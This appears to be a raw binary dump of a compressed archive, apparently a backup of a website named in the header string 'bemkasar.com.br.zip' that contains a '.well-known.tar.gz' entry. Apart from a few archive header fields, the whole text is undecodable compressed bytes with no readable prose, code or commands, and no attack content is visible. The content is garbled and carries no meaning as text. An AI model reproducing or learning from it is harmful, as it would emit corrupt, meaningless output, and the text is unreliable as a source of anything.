Y8]���3����}7��MX%KK�V��[��9's�Ҕ‚�x	/����O��bf`���^���$!�6�kL/��NE��IyΪ>�D�A�B\�}�f�U���[�X���EH�Ea|�.1鈞�1�'[܁�u;��jԍ�_�$�{�#�CrsZə��_�</�����}29g-~>�Nev@�k�,LI<�$��1|�1���
�(�<���v@�ɛ���Ό
��
����G��d��'$8��c�CNaO#{.���nι�`�V��|�d
'�~5p����ig$��]X�#'�o���|#z����k	��h���S�䠀ɏks���Ҍ$1+��c��c�o6я:-�q�Z��xZ\�d+��o�����أ�]��0r�.��H`4Q*nL����6��,6tf�ㄕ,�襶ʿ��zئ1��3M���h�_B4�!�s�������U��O�!�~���k�
�#7a� �*a����
��Ѿ��E���w��U���CVc���;P�2'���vuk��җ��چ��mA�'A���կ����YuX��}S�61�^�Pq��L�ą�v�T��c�R��2X?O��hK�N����Dv̂K$wK&��p�<QHc
,�Ȗ�����K��%��/F@�H��'�$�x�)���{h�G��5>�(�G؃��r��!{O ����tW���T��\�€�\j�M�I�F��^QN�#�������~���n1�w�=�HD���c�tc�rf�Hܙ"BX��������������'�ąx#v:�f	F�)��h����5��)�F̷h��%K�D8�ɉ�.ʣ�A��E�<�a$9�be�"��#!�^M(�&Yh�����g�
�х�*3I�p>"�p3Q�i̖fCeUkrnT�VQޤ8�!�p�a߉�j�����a�� �L6
q�D�l�R<>�c��nR������	��M�#��W2M`
M­NL� �ɍ��)����%�N�kf��NK??��}��z�M���Q0hn��xN�Z��:�ջ�_�*1��:w3����ƀz��� �0����]�猤crF�!u[�3����>;U�%�|�6]n�p���T�� �'�=�~�+J�Gn�Ȑ����_��r;�f�6��DghzJx���g�K�w���6���ٷJG����>j�NN{��9w.y78�>�8&lә��l��s,��;��M+�+�y�6�3��;46�7�$�WӸk�p��I��&2}pn\5�ܱ"*�%u>�?!3I��D���g$d	![h��մD�$��\��#Y�ջ��c}`
e*���S����+N�+��%
�_
�:��� ���:6�d$j�0G�>ݮػ@֮�!5����K��+�Vr��Y8p��	���Y�6P�pl��"�l��F������LW����|�_�7���y�/-�����_� �%eƳ�0Pl��в�d�<��"�s�O,��3R�k�0	f�]����Ô�QmȲ
2B40^E��"J
���E���=�D�<�6��6L�^ddw����=�h��_���ax��3o�P��\v�f"UH�:�Mu�!��R�0��p����ۇ�N*h��̐�wAk���/�f�S�X����M�SX��w
2�}7��yNU��0���J�0���:��.}��zH�kOպ&8��VE��|.[᠕�X5��px��0�/J�8
�Q2��ds���M�T��Tk�F��f:���ј���I���|�\���`(���g�ȇZ�)/�R=/5�R��/Wl��S��#>y)�*�����&>ĵ�2��<�r@�2�� sn�T�vx �.�.2�Q�֩Mg)(7�^ ���/�����z'���	(.=$��= |xB�Id��Յ�|�@�98"f�آ�*���"�E~�]=��;��Af`�<@�P-?"�rG�GA�QX{���Gq�QP�՟�g!
�:MP���R%e��@m�7D�1}�C���1T"?�]�T+�O��V0@ǣ�Ax���P�R�~�?�?�z,�L�;�� E��L�*5z�5?y�=�1��*��c@�7 �Xy�E�S3�;��F�{o�?ԞI�^gjû�vkvJCzhj9��\L!������)��d���"�\�9d��?Gj����,��m�i�X,|��O�t�JW��S�#�GVޓz����ZD�D��O����9f޽(�;�86=�a�����R��?,�G����3�N/X&�~��іy���E���k��l=�#m�q�~@Z��:=�|7a���N٧7��@��S�� /8��Ni�6N@��|�J�QϝƏ�K��frQ�P���ys9yIC/\���f`���V���{�긑}�y@��Dž��3=�n�N���U�>CN���Q�,���N��:��h^V�;�[���\2�6�0����:����p��c���_�.�m]e� �bw�C�s�.}���C?���䏏в�~[�/v�}߿?��z{�#�P����/?}�����LX(s8z��l,E5�!`��������;ӧ��Z�F�,0S�|��0V�a ��;�%��D��=9��X��`7�$Y�T
E��s$̩��̹�V�>��79@r�gC��?f���,��G��B�:”���u�eވ2�U�,��?��1�Kd!Q}�ֆx�iw��h����K��G
��4M�T��DU�+9Iv�5�=#�呸���94^VE/��z(wFl��q���|!�}*��S�!�-���j�+�����J�戁�!{�/8����L]"���Z~�>�p������f��Y�Ԍ�R��ؔ�P�=T���?'��T��0�D�[��8�$�Ҧ��B@e�e2�@�(��%I���N�K�i�?$g�u-�Q���ğ����[t�h�S��%��Q}I�PU4y��FM%�'���~ѝ��|���6��c�u$Κ#�X;F���7�I`.�y=d��JX����Z15��Q
6���飆	
�
�M7�b<'+�b���C��3&���7߼��GpH�0RV��#l���a&8�$� N����<��ֹF6��Gh�%�I���$�7Э�&-Q=Y#J�Gb����~���	��)��m�hH�����v�el�"����*M��z��5{/q
[���]7"�@`s��).|�{��	-��'�h�*'#�D$�OٞӼ��Z�0v���Wd�8CO���m�M�R6!��d�rSi�R���PG�:%AT���)�P��Q��$6�Xd��f�Ws3k��q'�^�%u�%L|��Ww�N��N�H�0=9����Jo��0�c�E�z��{̏�ά��3�`
��6�����H�`͊}#�C��_ǜ=� �)�T���.�����uR�����I�ɯ���z������lr��b!���z�8X��_
�A�����^�vWQ)�]vӮ�fρӀ	�n�8�ֵ�mڧ���ڈj4��5�7��f�ޔ��;�Pm�X�m0 �Aml`�\6�FFIT�͈M�ksk�[%n�F�F?p�(����t�M�r��uȎ.u`+�ӡ��j���Pw��=tk�6��������Y)��@�GBJ��m"��l�凬!�喆���yߟnt�V_�5���5}2�^��9�d�1"��B�c(�19K�����7�8k^��䤌���-�:�";�4�W�$)g�J�	�"
I����;s����~Y��ݞ����E"m���}5m'5G�u{U����cv���BT���5��ޙV}NA��<I��Y��7��	Ҕ̀x߬y6��o��UKGi<)���
��X#�@f
x�~��u�h�n�o��n��w�xˆ�t8�τ;1Y��D�j5��9r��T ol�����p���M�]C[m�J���  �p=l~Q=���E�5G��q5���ͰGf4F��w	G��.j�8�7^��}�c��6Fx��8���ćc�Q\1t���#���Np6�R4_��Hr�`Do��+��u���@?��Z��K�3�x�9i�yT�
����`��9�+Jp�5��u�84e���l��k����x̲���b��6�;�!w�p�aJ�{������%�d�+̭�c���^i���n�"[��@��$��
'����Hu���q��P�~g��hso�}���U?�	��w._�!��!�jϧ#��+խ���&
�ә�>'��M�*�}Lv��a�Z��N6p�ٜ�kc𦚆�56~�y<��h�!D�#�2 s���`^/'�������~�^�U���ag͸����yD�k~c�{��&.s2�sҫ4����L�|��<�A���S�8*��F�jԪ�q�WG��m>8��p��`����4��E�Z0{�A�G�G�Z��T�̭4�[oC��G޿Eo��g�:G����2��V�����{���	5��4c�r	:϶�r0�o�=���3.A�+e�dYH�.l}�"N�T��a8�p����/��4��@���>�TPE�˟m���x�C@92��A��bP�{l�m�(J�I�)��F��@��0��
�Ѣ�+FZ:c�=���
H�(O9_d�#�l
;��?34�����Co�+�;U�;�ԊA5��Tu����{��S'�:O�%Jo��Nw�4mn�FNd��ꓘu��&<����P���[mz�q۳�$��~��J.��)�e�����p��9`e�Yځ!b�c��K=,��h����Hs�	F�H�Ã�~�x��O�`VF^��j�*q�/K�|�`v��p�P�g�_!���}1&��<������P�Y"�H��ؽG"���z�R/���b���}�G��N�{Z��pȜ{��������$;o��p_�[|�Ҏ�5�!��Vz� ��������qi�sy���a���`7��n���k��x9P�S�/ё0���*K�]���+��ֲ��O��I¼�f��S�r�޳���玶��<ֶ����pn_�u��
g3Qr�f��;���9�|%��:�9�����(�NJ�?� w�ؖm�?�M��$��#g~LS@���B� !K\3Z�Y,�ne">nG�
�ڶ�gv(�80k��j��ݓ,�R6�.RwY��t��?���f��@�έ�
jޒ]��z��
����ֵ���޴V��b��S-g�f*�<V�+֡�8��+���i�ҭ@��}����(*[/����+���V��b��OM���@7|��sQ�t���k��8��0��D�E��
��5�W�$D���P���y��
�F�[P!��E������zYF.�]�G��	��v1�_�V��O���L5�\}H�l����e���J#=Җ�4��3D4�0�K3A5�,̈́�3�%��z�|ŒDI��	���Lr`l�&�n,�宒a�nE�&nc3��Nlv�m����~��c�(��t&�`$jq��c��-�iD�A�[����V���y�btQf�W'��u`�]b#����g$�9�@G��K��
�g�l���sl7հ��,U�PW3�g`������Z������d�r-.W$�p�(D���kD"���q�4S1�6AĆ=O�=�G��l��L�6zB]Rgg�'����i�2�WX+�M�h������꣋�V�^V���S�����@@���Hn���j
�~�[��΢�F�[��,/��C��f��'X��P5e�϶x	�N�R��i��,'s������;�V�KQ����'ro'^���]�P�\�$nO8qn9����m���`qs�'�JĿQ�o5���+���������x��Baes)N����H6Gɷ�
B��~=�]m��s�5ꖍ
g�$v��q09�
��l4�_��<H[(}�!B��Zm�,n�Q��"�T�m����ܖ(/���=,U_pj�K���}>�=���N	%k��l��xñfeS��v��3�4�̓��2��~2Q㈘����k��n8Ⱨ�v�E���ݥ��ؔ�&��';�o��C���r\7�b������ph��=��({=�#��r��l��:�6��h��#�_2c9\;�N����J���yb�b�6AԢsַI��"D�Q-Hj�w~;��W{�m�lS�<��<�6[�[ݼ7�~�TV���=ۆ�n&��C��a/>�4����W��=��G�ְ��x�ƚR���Cƌg[��FC��{T'm���6�y7�pfC:����(
��	Y�����ýu��<v���#�C���f���z�;Q�d��o�f�ۮI���=����]X�����;L���@,�pA�P��;9
8��1KX���)uzz��ԐBF���Z�_�1�9y)�ӓ���a��-W�O_%�n��Q��&�~�KZd�1�62i��0Q��6����p������B�@��Ν&��m��m����?�������ϟ�����R���bemkasar.com.br.zip000064400001727771151057443550010273 0ustar00PKl�n[	��U�j�j.well-known.tar.gznu�[������v�J��u�����.)�ߤ����-J)~JdUY� 	(��]���k{ϙ�c�ϱ��z�=�;�g<�w�+�}�}�}���@)P���Ӿ�%Ȍ���������s<����'���'�>����?���?�C�<��1�S�}f��H���������=�o6j����j1�l�pTIuwuG�23`%��J2'
T�����qԄ��zl���
�x_��3�g��s]V��2�$����곌2�Xy��)CQ�֌��J��h��T�r�p��a�Ώ�G�#^p���&�h���B�z��N�uEq̱�3�J���Lf%�Ǭ�G&�:@��M���F)�)��x��K�#=b�y�񈒥.z1T��|���H/_�'�ܜU|]q�f{Y��~{�|}��x�7�?]��H����F���(�wm$a'q�6�O"�E�鱒�8���z���#�]tEAaT�z{�<�������0��!7��?�R���0</.Q��N�ZQ���+Ex�P��q!1S�3�qA�iHW��,��K�L�OQ�;��e���C/5�G�X/�+/5z���X���Y��*�}�N��}$�Q���!��}�'"��No3@�Yp�!�OM�n�>��]Y��	��^��t��N�.ѓ��;�z�'��ad��EL�}>�������g�Ş1y�?*�d
ݦ���(�0��(x����q">��s~�H��r*J��������ϦT�R��ó��E

�~�H��QqڎQ��%y�B�İjW�{*��'S�Z�᭎
�F/��N���H� �x���wi z�˿��/���_|�O_~��?���K��%��/F@[D*�g�R�H��8	u�(�(7�2CJq���_���ԏ�A���対���?�R?���ї�S?��/�G_�/e�a�����A�1��oѳ���[�Ս�o?���?���w_~�p8�t��o��G��~���;��HT�@��L�o�ߣ��1Ѣ-���/�	C�5*�ר�?EU��*;��"��D�Ҍ�eyx��:�
H���|�ƭ����IFT!�����Z�L����}�/:-iQ�E^��{�?C����
4>~���3��G��<�z�A�����OV2y�;D$Аa�*�=*�g�Ck�N���F��oz�W���+q!�H7�~���3`O0��VQ��Ӹ�Ez��W�oq��+��DD	0�9yH��w_�3ibwV��|-v��K����B����	��
�
`�Ť��=T���\)?����J�}
t�V�
Q�	�/�!B}��Vn6�i]������'�<W��s������u8:�2�6����H�1�G`I���L��	��)z��6�Y���R8��%��
d *QG� �9�'!N���W�TT�y%NXMy�7�<��H7#��}XT�Jx�� ����o�j	}��Q���@BC��G��o1)�I���|�+�~�n��ip`e�Q[�pI�.�ߨ���MWb�<����,�9	C"~�G�o���4*p�1�;Dׯ�q>��r�7X>U�/��XU7z\.Ջi���Tmjj�:��0����+$�tk-C��U�����P5�w��� G�GC��MU�`@E�f��ш�;�Z��C���k;�`��u�1��qp����-X9��7���L�9"�q������YU��ѩ���G�>�1����C��ˊ��QbV
Ȣ��@`m(.H_���I����P��>�&�=������]܂�ƣ��P�W#+�
��t��r�7��;#wf�	�0j�Q�O���a�$�z��O�R��x�7x&e�K2�I_��ſ�#ӈ�1�&��k���q6~ƒ���(7��Eƫ���V�DND�5�	�1�oq��%-H 
���?��6����m�aI����If��5T�U���)�[����V�8���Y���<�\�P�X����ZQ��©,Τ.k^��e*�@�����f�Ae�l��֮�x�$�铛��]��j^�n��R�+�0��''v�M�?>Q�#�'RVJ`M3�Ĭ�.Vpy]���c�?}	�3���A�#B&Se�>~�f+�l����]�N���VG<|u�|��|�{����Hh�䳋Z��#j��F���'�~�'HL�i¾�=�:!(�he2aV!r�}�fZ,��ZG}�>�E|!�������%�y��e�L��=Z&�.�E�D�sBչh�Lu�>(�$v���4���2��)@@l���XO���S�*�$/A|a],�P�1ǯ��P6�7��BĊhHsd�0����Ɋ8O�X�C6)�.[_���rf�����O\� NFS�{O,#{@�S�
7�Zjۻ�1��Qڕ>��;N~fV��j�n4NOQsN��v�c����혣U=�\�%����F�y�����Cc�0aO�����ڃ�T��B�:�\�$.�=��v����0h� J���y2���][Dl�X2��K�����|��5AV�^�E%.�(�R�R`�������Ȩh�`X�wX�xA�h�W3�Z�ʞ���T�
:4n2�C�cv�B��}v�HLWQ�%qB�D�*D��@1@G��"q�\�Y�Aʓ��Yw�
�R0�"�4!��%K�
D�{pپ�X�v��e��(+.�5�D\@E�;}d�w��y�L)�\P��O�X�+-*k9�/ڼY�)�;m
`~!C�,��*[/I;��[�����M!����Z��SbK�����	�������໗8m�Ľ�����r}I�݄Nu�?ޕ�d@�`��4�Š^E���!{�Z�KK	�@�x4�S�o)	{��~cj
L�"AE?���V�D0��&�U�!��R}�!�	ә�L�n����w�[�k�j3[�ສ����t���XL��d>����l��?@�W5]1Y�^��g0���4�L��7�#
uK)��	ҪP�F�1��%���U�q��!��5P? ÓX�P�K�g��g+����	�7ķ�������ϔf;6��(PxԔ�&hx!I��D�6����}4���j�S6EU�/��ϠL�B��R�ܙ�t�-��CL��q�Vv�l�W
�{�Lq4���i�6a�i���[߀�~�#Rv��fMK��7@�Yا��=9:�
��rI�OP���	#�6�B�v���К��q�E�iiT�*�NE��M�3A`��i�M03�����9�H�p���5ӑ������>�����&�x�k��c�����w��VH�3Y�'7X���-+s�b���R���Q
dD�M颅۷�?|�?��� \�x�}�������]��G(ѿ�.+��y�@�a��g��1�b�]i�E���%��P�m]�p��(�>��6]��9�M�lG��6۽:%�F_����et��Q�
1,�̻�@�qcw|زx�k���oz�,�ߘљ��zES6XÂZ�����S+���6T�曾�8p��xn�6R
ȵU5~��׃J�2���%��L׊�S�N��U���	�6ZjȔa{�@(6�x�H�ݘ�X�4W[�X�D?���y���_��6�M�Y��1��#���r^���:{m��&�;d��婷	�n]@����r6wos���@�����g!������R{R�lJ`��p?���L�9al,�J)����_6�����t뽍�P�f<W⊪.��
(�a]C\c�QoQu�b�V�|G��i��B%�W'�A�5�;f'�W#Iv�G>f���䆚�!Ԭ&��T���x'D�7D� ��f<#BΩr�r���B��1Y�1�!Du��>�����㜠�������̸�p�넰������
�25�)㜠�A6�1��C��,�ң�o��ty!��[UQ�
11�N��\����.�:�*돓�'e�P�7?���db�N��j<�@c�8��A<�1���5&�1ᝍ�%��i�yc���kLP�S���P�ؘo�h� T�A�٫sVR�y�E�a�.@᫺:�2=��{�՛����ݩ+q���>|	�/�D_��%�VۀU$(E^�B-���'"���"('��[����'سA�hKK퐵p� ��^�XjG��c�q�����j+�aFB_0�M!s�wk��T�ĮÆ�n�
�5���	��/I��>'6�H5�Cf1�����]v�kY�*��"��J�IKZ�m�kF�&�ԅf[žYZXVjT���G�D+V�^�M+��-��f������{�mh��c%7	š�4��SQ�y��(�3&���I!6¶�؃���]����WS!�N�ՉW�4�.{����Z�y�"�E�S�~-�_Gc�%�y���Q��g�#��W����"+��9������Qu�������b�����*�5A"�J>G�,��}�P�I��:��u�b�~�gE���O���H�7"��KE#�P��7[�@���GAA�2�c�Eπ�4)�����A�e��	�=�u[�s�W.��B|~*�S%Q�p������CƐ��0�L>�@;�p�|�=��|>�l'��~��sx�2y�{��c��H�xZ�N��	e�1A����-b7.�.���<��Ja-���2��TUƒ״��O|�<���8���`o�����c�BU����+F��`�����������Ňe�b5hs��ȗ��7L�r%���<֖n�v��p�����m"�1)�RX�F�������`;p�s�!si�b��|���͓0����	h�W������`4�G��ոd*f�SQF_'��H�Z��zd��)�`��8�}GS,�쉏����H2.���,�4�_�\���O���n����w��?AM/|���G�C ��~�#5W���'��$d�-"�'@�l�Ca4}բs�ڊ>���B�)�-��&�aR6��%���F��Q �:�"my)��B�z��#��i��mb!" r�:�7Cs7�'���|�����a��y���E�
'}��(G&Ԟ)Y�lmS،ɾeL
�"�譶堯�3�%6٣����z�q7+���˥��:�PO�.�z���,�Ήa�����;�Jl?q�� ���J��Ѱ��M�\G����zt����h��e� 4��計(�c���{,�<4Z����;�t�[�S'q<�p,|2�+h��K�����1i���s
<�U��ޥ���f��~G�.km����E��ЀŻ���� q Z��7߼�%��W=�
� �o(�Gh��Q�8:�Dx��Z**�a�X;���"
v�'vg��^��G��G�'���F�O��K#-�c�:�]�a�%��eԆ�x���z�':?���V<=�r��)ifE#��QO�8�ӗ�x��#<��S4���l��~�Ŋ�M����a2A_�A�Ƽ*�D�a���f����U�R�>��q:��щwUOTc�$P	D*�ɸ]��ć/e���P��b��� �~M�k��T=�hu�t���A@s�#>��~��x������e>�m��H�����m��0&��5Y�:�9����Km�҃z�^n��m^�:$��ڑ��i�"�f7Ѥ@�t)��K�j���+G.�9�P��R�N�nqvZ:�Ԣu�NX�4`*y	 ��L�����vB�nB�G�pc�^ඩUƕ�A-R1�61�#tǪO3�U���ad5w,��@*1}�u�H�Į��X+� e��ʇO	��Ņ�n��v<��&ӄ�y���.׹1Y�����i�����lWk�w�EJ4�T�y�4�F���ۋ��8��"��_X�|��f<�Q�P���(�ɐ-1�^gǨ;�<���;��>
��H]��H1֓7f�M�Ȱ�3�o����*��d��y)\v�;	C��*�Ldz2��GV�:	x�l�،�M��2P
|&�p̯���2���6��?x��"A�t�X
�1�j��^f��t����U˷�+���Y�'oغy����@��|�Z�#�ErT��P�ר�A��s�W]�,@�Eж+me"]�&�Y�ޖta�Dj��XX>X3ƒE+�w�}̡&�/(�����!>�g9m��s�9�R-[�S�R�l���,6�5����(�4r����j��g��#yL���=���];`�0��#��B��xS
��1�V��+�sQ�tj*u����߁1�m��i������B�'�nji��ξGl��ٷ�F��X(��~�-�>�>y�o9��D�����G�f�����*�jdF=e��n�~���G���i���;E�G�}h�~"Q��h���Y��׵�Y���C]n���H��sF^����Y	T�K�<�'����hi��r�6��Qs��c��b���'�t��ȅ=�]H�t/�	C��!D�G�{R/�;��w��9~�O�@G���f~c��.��ri;�h�h�K���q�X~bW��3�ۍׄ"�#	�HS)��	h����ߗv5v9��0{�C�=T�K�;S�h��X�x��1=��������o��J��H�����ju�ڻ�i�j�s������چ^
��6ܑ���S��	�A޳ٽ	�iKV&��i����f ��\�-�v[o��YiV�1‰O��I��f)�C��zr�:񸘗������l���a`�/��󍓩���*~6m6��f3T]m�9bu����_�J��������h�T�R�H4��U6[�$7<n_X]���d�]�$�ޣzۻ:DCq�>��
��&�p|�KNÌC�CpҝrBi�s*8]�`�
���jI.mAtE^�Ω�b�d�����T�S�=F@@�p�K]���U�.�e�����fG�z�tj�����^}�K����r�Y�	�CbzĶ��)�&
���۱A�i�"�أ���-`N�	N9:�x��l?��0� ��嚩ru���$��j�a�1@�R�3YI'o�X����K*�K��d�.��7�
z8�V�j��΢�H��R�ג���F��(
ֳ���C6�IJ�zkX�'Jf�c�[�_��9��q>u������^���
ЫNn.1A!�l�w�x��	K�}��?�\����Ć�������:��Erh%$W�F*��C�I�}j3��rf����(<ky���$�i�5h:6���G)߄F�	̂��h��暧e6e'��xr-����>c����)��dQ�{��^:VH�t��vC��Q��/�g�f/|�{���a�_�=�P�zPZC>�w�%~��4E=��p ���w���RH7L0_3�dhԒ��"�xD߅P�!XW���Uj�ۡ�`�če�3鎊7qTf���6��4}u���E��)����}�j:��)��)�t��zH0s;	�SB��8(5o���T���¬H{F��t�_,�G�8�;���|0��|}s��#qZ�֭i$#O9f�Yݔ�O7�q�t��#A���AEh���x��1��[K�,��Ě�H�f9�e��E8�Ffç(3	ws�A�}O�=f����/�{f�z�^�5�K:΅֍�Y�L���rV�.֙�2�}���A�o���8R��;�$���\'�n���V/W���j��p�'��q'x���Һ��Isؾ◫�F*|�Ҭ��`�5��Zr���g�u�5jN����˦9�Vj���T�+�l�Z��Nhu&O�FQ�B6007��/�*��>�i+�Ak<k�J��au�̕��u5z�4]��nٵ?[OVV�Ƽ&�B��떞��m�7d�U>X�&�h�SIeZ��]����\1b��>l$S#�/D ��c4F���drҨ�D�~94}�F��L.��T����m�1��Ef�D���]!�|76<���Ӭ��H:u�Qɴ4�T3��u���u��J��`�H`�ި��ʛe�T�~]n��!�9��!�w�%qJ���9iv.��Z��)��;�G��%�����;2�p=�᭢A��
[�f��!���t�m���IhR�v�0�K
��#l����GZ�1�ҳ��CH�{��g:,���A�1�Ш�v��J�"�Yܽ���r�����W�۬�x�پZEӴ�b����d�)��C�}CB����xW�ַ����p8thܪ��\�z��f��ǻj�^��ݮnF��=Ƈ곭-M��|s���h�6����r��g�1�0�yl��;�LK	���	߹�g$�Ñ�ۦ��ׄ�h�ZB}��E'���H���K.��SF�F�8�4��h({��S2������S�]n5�k�ϥg��y�Pm��E	����s3/&GZ�~����QmDɐ�M�i�#�mB��X�8�NY�0	;��C�LܤO�փ9�o��&�k/�$C��DXX�Y3u|�L�.��;�WO�$����MV��|�����zo�uN�:�ž�#��w
���w��n�BQ|>�+���ϵQ2ZH$���{�'��ղf_��K��$�L�ø�7mP0��0�V�xy'hL��e���lЌV�4��8a�j�VB}<�HUr�
ÿôP�M�@�tNA�Q#qh0�$Q�.�$�mu�zRuݹ[OZ*>Y���z�����I�c��6�Z���ѐ�'��E�������d�&�w�����뉬ѣ�[��yq�A�|���!�`V�<�QĊ~�5��c�A�Ȯ�x�AU�Ĵ�{�Qe��«�T�|�c�#qy<��18�Pe�|�g$u�J	<��ɠC1<u��4��H
`Rh������*÷#
�V�Li�������2Q
�R\>�zd^!�Bg�(�q���� ���ۍ_I�+�
d�Z�>�J_�MO�CH*ޥ�P?��!n��G��˭��>mz�<ۚ�������B`wǻ���!����p�#ڤ	�y��ޑ���b!�>�t�-�$NϽ)J��~L��2��0�+dLȓ��_�l�����X3}tY�'�W{��51L�!a<��4�Q7�:i�hf�)
��g�!>�5��.\��:�+F<����S�&MS�^p(_{�7����^Z��F9'��,� -�S��p�8y�%ѫ{w��&s�׮�x��w̍�cF�X>6�g��VƳ3���mA�6A��H����ѫ���r��V>�>�y
���m[�!�wr
g����y��*��V�Zؔ�v �"�/9�{��S�?����Wj���v�ϱ�o�B�H������,Шյ*(����|���m+j�����-�/�_�@������&
��
g�@2U#R�f��v�Qʔ�\͋��v����8��@S����V	�<���΋/��6��
F|�T�&A��(��.��~��Mz�}�i|Uz�g[�'��ۀO�x��'T1x���#N�<���o��`��瓁�[���'��vTX�����	J=ٔ8�)��E�o�riα9���'�\O&)����p�t�T�2<��p�ނv��p��oa��Q�{+}e��E�kT�L��a1�p�qYIn-VN0��m\h0�������߶О_��"�zM]�i�7G�#�>�9c�V�v웠5>�j���i�4;�m5�ӌS4]���¹T�F�c}�S�p��['t�Z��JQc�
����z��c�ZP���	�J���Y2_���)�w�h�+�n����M��k��Î��2?=�v��,���%�����o4��m$�;S,1��T�k8a��:�]�_w�ɆB�C�����4�t��f���f]�1O����3�Oc-l�WN���4������X�]���o乶!��l�m��w�z쿫[4��}���و�&�o����
	�(�g{P]{q���l�3^gG�ј�E��#B��'����q�H����´�jV��m��Gu�8g,�SK����F��c��¢6�{�+N:���D��~��HX[�g���IT�.��&�[,_��[����J��o5yW��7�d�<�9̴פ��%�ٳ|���5&�7�r����qo^{��(�R�^���tD߶I�������7����Ee�B�y+�뙬P8*>.b�6��;�59����t���
���'��P7��-�:y�!)������$򅜗
&���^*��+�?�D�=�$�j/M�n�p�L�sHW�$\��V���A��h���jO��+G�ʝ���ꍏ�vy�m�zi��&dž�eU�'o�
m��7:F�r��:VO�n��~*ف���((k�w��-�H�lkעjx��n��Sk�
�8
G�y����:����*��U�0��i��Չ���@����$�K`�d��ka�z�x��;�����[�����a<����t:��m��݊HuDE'^�[6܏��o;}6�?�"�ߋ�}*@߃L��(�'$��#jyo��:�Q�s�(�؟�C�M���̇x�þ ��8z��0>�lH<DL��#y��Rń*nT88�.��l�i��l���!Z��+B4&��Z"���Ӆhap�n"u7�0�q��v�^*ݨ�w��F-[M泥��r�7DRp[0�[�C(�r�X�/���z�\�����j��f�Zȵ `��?��]6[u\�*�̠����l.[�
𳚭7��z5Y�����)6G�1v�v�
x5!��Mo@�Ru��u�R�$���#ZЪ�)>�w��矾?�O�mp$3o`#��Ǐ�#���6��
��.��'�_9Dli?��7ޅ@���/0����z��֥>ʵ�ư���2�H񔥾�1C�<��/�ۿ�N��F�Ν�7���������}b{��aχ0�o��֣���Őç����>3���g�OV��6�w2M�ħ�_&HWs�����3��9	g�aV���m��D���Ҏn������>[~
S�����5N�Ü�9+�d2�34n��05��>e�i0T�咡pn/:�E(>��v�VԚ�|=s�!9�:{���M�S�t��Ȯ�#!|,��K�����CzW+C��m���U�$�Um$\��o�D��X���Pa�^!����@@o�uw��o�D��g(�U2�͆�1C��Β�L,�6q:�ᴄ����B.�
L5����碹�F��E��;�v���@��u��;�s���v�����E1^-�Mڨ3$f��8�8D	�{���_�Z��SM���/v��g>���`'���bw&��23E��
��mFb2~2��% �K�8^^95>�܏�gC8D_�J Ua�g�N�$vB�A�Q��R�N�=����Ո�%�����F�Ph^M��\��*�ưQ(��\8��ZO�ʸRhM0n6��j�����܀K��#1}�kf�LA�	&��sSD�N�b�و9c�g�N���f����E?�N��k�R��J�>5
l�Mg��z>�Vf�B��*��&�u;�[ӵ�T�n��,������)�t[L'3�z{��M����T���d+�MvS�q}XL��d6�o&�o��M��z���g��`q��%�d>)�=�z���y��X�����l3ɤ���z�5D�����)Ns��`�LU'�x%�,
�d&u���b:��͔���*�ܢ�U�И&���W(�J�d��Fu�q���f�l���:2<��Z%Rm�:�t`�
��ð��n��`�r=�����0i��7�R������j�z5�wg�m�,ɱrI�3|\�J�<���Z�;O�둺�m���+O1�Y��d,%�����U�a0�l�-�*�FR,L�.-<W�]�~8.
� �0���7��u�՝>�a���&�=�8}���1]=�rW���`!����Fw)\��nD<����"M/z�U1[���ܧ�F8��u[��D\��Pp\�v�m��8��e���Z7�r^�$f�"3�w�ڪ[���'��n2yw�į7�Af��2��Y���i����Hi�'�n%�|W�E�~#��4bK�&���R�<]O���dj�N�z�T�^Jb5}}[OW��tzRK^]]n�U��q�u'�C�5d���m���z7�-��pfXd��0}K�W�t��Z%�V��9����`�0i=��\!�J]�3�\�Z-�g�Rc�l��F!�,\�g�A!2,�i6�l5����lw��F=����3��j^�+��r"����y�+U���"(���Spp�J��X���.��$gK����9�.�V�,'%W�r��h>-2��h�=�ޢR4��z+���j$U�
oﳱV�f0�JW�ٞx]Z�3��U�zuS��גX�t+�֨���b��>+���e*�eﲥU��5nWױI%9�,��z-�\�H���Om�_K��q\`��*��4��V�����3���8��|#�_'�L=��Ć<}�
>[n�#�6?�\��L�i(AQlV��9cC�
3o�X1��&#�4X��k�{��|��'��7�<C�lx�㫑2�z���i��=D�w��bQ�3��P�IM:�d��^��U�i��a��T���4)��L��7��'���s��y�טf~%Λ7����>
�f<�Pl<��t&������"4�'��4
T���N#�N�Q��i�@��^E�tk���n���4��Mz4�m
�۶ȅ{��n���tU
>,�7ҬEW�1n|zb��ʺts`׍y��ů‘��s����ps�>�Cћа>�a�|����vs)=M���ڍR}�y���10���ؠI-����]��t9�	�3�b�7�e�tW�}b����Q����lꉶ)�q��l'$x�˳"h���n^er���X�S�|���zs�Y/z�x�o�2�R�m���C�U��zٸx�̏��Q^�?�o��`(��2��Ak�Tu��NK��V�L&7L+V�(��x�v�K��80Y���uQ�x�N 2�+���DYy₳|�Z�U�)/�i96��=�l5�Ӟ�g���i�̢��4Ɨ��$(ma�,y|�t�r���Rf3e��sBk����l������L��*��3Or�~�tc�U.3�/+Qf=]��B���ugZ�Z�e�.��)û�
B+4���'�l��[s��u-\,�]Oq*w�J�0g�7�����E���$V�,fA1�g�Yd�]!���	{_/���w��'U��t:�i���}�*rW�{R�؃PX����܃�cJ�z����e�s6��ϭ'�^�B�"{ߤoK�thU����\�=���D�1�h%-ҍT{Q�4�E1湚�O�n-u�}fd��M:R�6S��2�=��ZN\�W�v�DF�q72� eП����02����u��j�d�w�Ȃ�
=�Pz�WC��:�G���lh���xDZnJ5���E��Jbh6�E��Y�nM�w����r)rO��$"�:뗯�����b����e�ʋy-7]2�� ���d�0,���J5��bn���zou_NB��{-8�ZR�`�ԽF�����T�]�㥇�xY/���}d�f����6�X�&�'67�y��tv�*���Բ�$��r��
�I;��.�a��Y�G��*��5+W�d�]D�����9Q��+y��A�^���r��n^�uW�2��"�@�JV.�����.6W��}�9��bD-�lO�	/��p�>����
O��I�Y�Εf���%���A3�Z�ŔR�Iх�L��s}v�
x�z`�$�h���BU��Z�iX��"�f�l ��F|>ܛ�$O;t]�?1���~�V�'Q����H'3e�x󐙄K�ޓ?�;�Wʡ���S��K7�Ylk���L��x��_�e�.P7�
_	ƔbO��z��c��P���Z�X�s[��z�z�(�d�Y
�w��r�݅��맙���&P�<\)��]-I��
